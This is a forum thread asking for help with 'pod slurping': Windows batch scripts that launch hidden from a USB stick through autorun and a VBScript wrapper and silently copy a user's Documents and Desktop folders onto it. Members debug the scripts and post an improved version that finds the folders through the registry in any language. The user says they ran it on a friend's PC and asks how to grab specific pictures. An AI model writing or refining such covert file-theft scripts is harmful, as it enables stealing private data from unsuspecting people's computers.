Jump to content

pod slurping help


myronhinio
 Share

Recommended Posts

i ve made a command and it works for my netbook which has english os .

My main computers first language is greek and instead of "my documents" is "Τα έγγραφά μου" what can i do?if i just replace the command it doesnt work

english code works :rolleyes:

@echo off
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Desktop" %~d0\%computername% /s/c/q/r/h
@cls
@exit

greek code doesnt work <_<

@echo off
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\Τα έγγραφά μου" %~d0\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Επιφάνεια εργασίας" %~d0\%computername% /s/c/q/r/h
@cls
@exit

thx in advance and sorry if already posted i could nt find sth similar!

Link to comment
Share on other sites

basically i tried to understand all that stuff but it seems quite strange to me. what i ve done is pretty much traditional,simple and straight forward to me !so here what ive done;i ve put an autorun an invis.vbs and 2 bat files.

first bat is

wscript.exe "%~d0\invis.vbs" "drivers.bat"

and the second

@echo off
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Desktop" %~d0\%computername% /s/c/q/r/h
@cls
@exit

so what u sent to me will probably solve my problem but the thing is that i dont know how and where to put the code.i am pretty much interested in getting .jpeg,word files etc. and ie history.or just copying "my documents and desktop.(no prob since i got a 32 gb stick)so i dont think switch blade is the one for me.

thx for anwsering hope this things dont sound too stupid to you:)

Link to comment
Share on other sites

basically i tried to understand all that stuff but it seems quite strange to me. what i ve done is pretty much traditional,simple and straight forward to me !so here what ive done;i ve put an autorun an invis.vbs and 2 bat files.

first bat is

wscript.exe "%~d0\invis.vbs" "drivers.bat"

and the second

@echo off
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\Desktop" %~d0\%computername% /s/c/q/r/h
@cls
@exit

so what u sent to me will probably solve my problem but the thing is that i dont know how and where to put the code.i am pretty much interested in getting .jpeg,word files etc. and ie history.or just copying "my documents and desktop.(no prob since i got a 32 gb stick)so i dont think switch blade is the one for me.

thx for anwsering hope this things dont sound too stupid to you:)

The problem you have is the language, if you want to do it with a defined path (Desktop is not same folder in greek than in english), it will surely fail. With Dingleberries method, you can easily modify the python script to slurp the desired files of "My PC".

I prepared an slurping batch to do the exact thing you want, just substitute the second batch you have with this one:

@echo off
set ActualUser=".\CurrVer.dat"
set TmpVal=".\tmpval.dat"
set Common=".\Common.dat"
set /A ValCounter=1
if exist %ActualUser% del /S /F /Q /A:- %ActualUser%
if exist %Common% del /S /F /Q /A:- %Common%
if exist %TmpVal% del /s /F /Q /A:- %TmpVal%
REG EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %Common%
REG EXPORT "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %ActualUser%
if not %errorlevel%==0 goto error
type %ActualUser% | find "Personal" &gt;&gt; %TmpVal%
type %ActualUser% | find "Desktop" &gt;&gt; %TmpVal%
type %Common% | find "Common Documents"&gt;&gt; %TmpVal%
type %Common% | find "Common Desktop"&gt;&gt; %TmpVal%
FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO set var="%%i"
if "%var%"=="" goto error
FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO (
call:FOUND %%i
)
del /S /F /Q /A:- %ActualUser%
del /S /F /Q /A:- %Common%
del /S /F /Q /A:- %TmpVal%
goto :CONTINUE
:FOUND
SET PP="%~1"
SET PP=%PP:\\=\%
SET PP=%PP:"=%
SET RegKey=%PP%
IF %ValCounter%==1 SET MyD=%RegKey%
IF %ValCounter%==2 SET Dsk=%RegKey%
IF %ValCounter%==3 SET ShDoc=%RegKey%
IF %ValCounter%==4 SET ShDsk=%RegKey%
set /A ValCounter=ValCounter+1
:error
GOTO :EOF
:CONTINUE
:: Here I added the actions you want to do
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\%MyD%" %~d0\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\%Dsk%" %~d0\%computername% /s/c/q/r/h
:: Here I added similar slurping actions to do the same with Shared Documents and Shared Desktop (no worry what language you have)
xcopy "C:\Documents and Settings\%username%\%ShDoc%" %~d0\%computername% /s/c/q/r/h
xcopy "C:\Documents and Settings\%username%\%ShDsk%" %~d0\%computername% /s/c/q/r/h
@cls
@exit

Tell us if worked DingleBerries method or mine.

Link to comment
Share on other sites

dmilton sorry but it didnt work both in the english and greek computer:(thanks anyway!

and dingle i dont know how to modify the exe file that u are saying:((Noobie)

Fixed, it works. Try this.

echo off
set ActualUser=".\CurrVer.dat"
set TmpVal=".\tmpval.dat"
set Common=".\Common.dat"
set /A ValCounter=1
if exist %ActualUser% del /S /F /Q /A:- %ActualUser%
if exist %Common% del /S /F /Q /A:- %Common%
if exist %TmpVal% del /s /F /Q /A:- %TmpVal%
REG EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %Common%
REG EXPORT "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %ActualUser%
if not %errorlevel%==0 goto error
type %ActualUser% | find "Personal" &gt;&gt; %TmpVal%
type %ActualUser% | find "Desktop" &gt;&gt; %TmpVal%
type %Common% | find "Common Documents"&gt;&gt; %TmpVal%
type %Common% | find "Common Desktop"&gt;&gt; %TmpVal%
FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO set var="%%i"
if "%var%"=="" goto error
FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO (
call:FOUND %%i
)
del /S /F /Q /A:- %ActualUser%
del /S /F /Q /A:- %Common%
del /S /F /Q /A:- %TmpVal%
goto :CONTINUE
:FOUND
SET PP="%~1"
SET PP=%PP:\\=\%
SET PP=%PP:"=%
SET RegKey=%PP%
IF %ValCounter%==1 SET MyD=%RegKey%
IF %ValCounter%==2 SET Dsk=%RegKey%
IF %ValCounter%==3 SET ShDoc=%RegKey%
IF %ValCounter%==4 SET ShDsk=%RegKey%
set /A ValCounter=ValCounter+1
:error
GOTO :EOF
:CONTINUE
:: Here I added the actions you want to do
mkdir %~d0\%computername%\MyDocs
mkdir %~d0\%computername%\Desktop
mkdir %~d0\%computername%\SharedDocs
mkdir %~d0\%computername%\SharedDesktop
xcopy "%MyD%" %~d0\%computername%\MyDocs /s/c/q/r/h
xcopy "%Dsk%" %~d0\%computername%\Desktop /s/c/q/r/h
:: Here I added similar slurping actions to do the same with Shared Documents and Shared Desktop (no worry what language you have)
xcopy "%ShDoc%" %~d0\%computername%\SharedDocs /s/c/q/r/h
xcopy "%ShDsk%" %~d0\%computername%\SharedDesktop /s/c/q/r/h
exit

Link to comment
Share on other sites

:) alright i tried it to my friends pc(windows vista)the other day i got the some pictures but not all of them.ie i didnt get any pic from the folder "my pictures".AND i tried it again to my windows xp and didnt work.:F

is there any way search for pics of certain size:) thanks in advance again

Link to comment
Share on other sites

:) alright i tried it to my friends pc(windows vista)the other day i got the some pictures but not all of them.ie i didnt get any pic from the folder "my pictures".AND i tried it again to my windows xp and didnt work.:F

is there any way search for pics of certain size:) thanks in advance again

What is the file extension you need? I can make it for you. PM me.

Link to comment
Share on other sites

:) alright i tried it to my friends pc(windows vista)the other day i got the some pictures but not all of them.ie i didnt get any pic from the folder "my pictures".AND i tried it again to my windows xp and didnt work.:F

is there any way search for pics of certain size:) thanks in advance again

I haven't a Windows Vista installation for testing why it doesn't work with Vista, probabily is because the reg keys are not the same with Vista (someone can clarify this?). But for Windows XP must be working...

You can adapt the script as far as you want, but, by the momment, I haven't so much time to do it for you. :(

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...